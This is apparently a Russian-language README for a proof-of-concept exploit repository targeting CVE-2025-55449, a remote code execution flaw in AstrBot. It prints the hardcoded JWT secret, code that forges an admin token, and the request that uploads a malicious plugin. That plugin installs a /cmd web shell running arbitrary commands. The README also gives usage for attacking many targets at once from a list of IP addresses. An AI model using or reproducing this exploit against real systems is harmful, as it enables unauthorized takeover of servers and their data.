
CVE-2025-55449 EXP
Этот репозиторий содержит доказательство концепции эксплойта для CVE-2025-55449, критической уязвимости удаленного выполнения кода (RCE) в AstrBot. Уязвимость позволяет атакующему выполнить произвольный код на целевой системе, используя слабую аутентификацию JWT и механизм установки плагинов.
Уязвимость существует из-за:
Жестко заданного секретного ключа JWT: AstrBot использует жестко заданный секретный ключ JWT (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) для аутентификации, что позволяет атакующим подделывать валидные токены аутентификации.
Неограниченной установки плагинов: Конечная точка /api/plugin/install-upload позволяет аутентифицированным пользователям загружать и устанавливать плагины без надлежащей проверки, обеспечивая выполнение произвольного кода Python.
Выполнения кода через систему плагинов: Система плагинов позволяет плагинам изменять маршрутизацию приложения и выполнять произвольные команды через экземпляр приложения Flask/Quart.
Подделка JWT-токена: Эксплойт подделывает JWT-токен, используя жестко заданный секретный ключ с привилегиями администратора.
Уязвимость выполнения кода: Уязвимость удаленного выполнения кода в бэкенде использует встроенную функцию расширения плагинов приложения, позволяя пользователям загружать пользовательские пакеты плагинов. Программа распаковывает пакеты, читает информацию о плагине, импортирует файл Python объекта и выполняет код.
1. Подделать JWT-токен с жестко заданным секретом
2. Создать вредоносный ZIP-файл плагина
3. Отправить POST-запрос к /api/plugin/install-upload с поддельным токеном
4. Плагин устанавливается и добавляет конечную точку /cmd
5. Выполнять команды через /cmd?cmd=<команда>
jwt (PyJWT)requestszipfile (встроенный)argparse (встроенный)datetime (встроенный)pathlib (встроенный)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
Запустите эксплойт против одной целевой URL:
python main.py http://target-ip:port
Создайте файл (ip.txt) с одним URL на строку:
http://target1:6185
http://target2:6185
http://target3:6185
Затем запустите:
python main.py -r ip.txt
При успешной эксплуатации скрипт выведет:
http://target-ip:port/cmd?cmd=id
После этого вы можете выполнять команды, обращаясь по адресу:
http://target-ip:port/cmd?cmd=<ваша-команда>
Например:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Основной скрипт эксплойта
├── ip.txt # Пример файла с целевыми URL
├── README.md # Этот файл
└── helloworld/ # Директория вредоносного плагина
├── main.py # Код плагина, добавляющий конечную точку /cmd
├── metadata.yaml # Метаданные плагина
├── LICENSE # Лицензия плагина
└── README.md # README плагина
Эксплойт использует жестко заданный секретный ключ JWT для создания валидного токена аутентификации:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
Плагин (helloworld/main.py) использует систему импорта Python и экземпляр приложения Flask/Quart для внедрения нового маршрута:
# Плагин находит экземпляр приложения Quart и добавляет маршрут /cmd,
# который выполняет произвольные команды через os.popen()
Эксплойт упаковывает плагин в ZIP-файл и загружает его через аутентифицированную конечную точку:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)